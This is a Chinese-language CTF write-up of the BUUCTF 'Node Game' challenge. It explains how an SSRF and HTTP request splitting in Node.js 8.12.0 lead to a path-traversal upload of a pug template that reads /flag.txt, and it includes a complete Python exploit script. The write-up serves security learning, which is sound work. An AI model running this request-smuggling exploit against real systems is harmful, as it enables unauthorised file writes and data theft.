WEB

BUU|[GYCTF2020]Node Game

Node.js Express 框架

Posted by Elli0t on 2020-03-24

最近不管是国内还是国外的比赛,对于 NodeJS 或者是 Ruby 等语言知识点的考察都越来越多,即便以前没有学习过这些语言,也还是要有能在接到任务时简单学习语法之后能上手审计的能力。

NodeJS等语言接触的少(基本没有)。。。多练练
知识点:

  • NodeJS代码审计(主要)
  • SSRF
  • 请求夹带(请求路径中包含精心选择的unicode字符,攻击者可以欺骗Node.js将HTTP协议控制字符写入线路。)

先来看看源码,右键页面查看源代码就有换行。
首先是这里,上传文件时先判断是否是 127.0.0.1 也就是本地请求,这里就很明确地告诉我们需要 SSRF 了,然后就是获取上传的文件,根据其传过去的 MIME 类型保存到指定目录。这里我们能控制,所以有路径穿越,任意文件上传了。

然后是这里,这里获取 q 参数然后怼在 /source? 后面进行访问,然后会把访问结果显示出来。

毫无疑问,上面这里就是 SSRF 点了,而且题目也特别强调了 Node 版本为 8.12.0,那么就在网上一搜,发现这个版本的 Node 的 http 模块这里果然有漏洞。
https://xz.aliyun.com/t/2894#toc-2

上传页面显示127.0.0.1管理员才可以上传。(我们后面用SSRF进行上传)
然后上面的文件上传点代码,其有任意文件上传,就该考虑上传什么文件了,再回到源码看看,其有个 template 目录,而且在下面的首页路由里有接收 action 参数,会将 template 下的目录用 pug 引擎渲染。

我们再来看看 pug 引擎的文档 https://pugjs.org/zh-cn/language/includes.html,里面有包含的语法,我们在引擎里包含一个文件就可以获取到这个文件的内容了。(其实也有执行 js 代码的语法,各位可以自己试试)

所以就上传一个 pug 文件试试吧,这里直截了当,读一下 /flag.txt 试试。
在之前抓的包上 send repeater,然后在这里改包的内容,特别要注意 Content-Type 要改,还有上面的 Connection 必须改为 Keep-Alive,这样才能几个请求一起夹带进去。发送一下,然后把右边的 HTTP 包内容拷贝上。

然后用下韩国哥们儿 https://blog.rwx.kr/nullcon-hackim-2020-split-second/ 的脚本,也是根据上面先知那篇文章里的内容相似的原理进行转码的,这里就改了改直接用了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import urllib.parse
import requests

payload = ''' HTTP/1.1
Host: x
Connection: keep-alive

POST /file_upload HTTP/1.1
Content-Type: multipart/form-data; boundary=--------------------------919695033422425209299810
Connection: keep-alive
cache-control: no-cache
Host: x
Content-Length: 292

----------------------------919695033422425209299810
Content-Disposition: form-data; name="file"; filename="eli0t.pug"
Content-Type: /../template

doctype html
html
head
style
include ../../../../../../../flag.txt

----------------------------919695033422425209299810--

GET /flag HTTP/1.1
Host: x
Connection: close
x:'''
payload = payload.replace("\n", "\r\n")
payload = ''.join(chr(int('0xff' + hex(ord(c))[2:].zfill(2), 16)) for c in payload)
print(payload)
r = requests.get('http://fbc4ecae-bc69-4cfd-8b3a-15cc50bae71c.node3.buuoj.cn/core?q=' + urllib.parse.quote(payload))
print(r.text)

跑完脚本就可以 /?action=eli0t 访问下靶机,查看下这个页面源码。

参考链接

https://blog.rwx.kr/nullcon-hackim-2020-split-second/
https://xz.aliyun.com/t/2894#toc-2
https://pugjs.org/zh-cn/language/includes.html
https://www.zhaoj.in/read-6462.html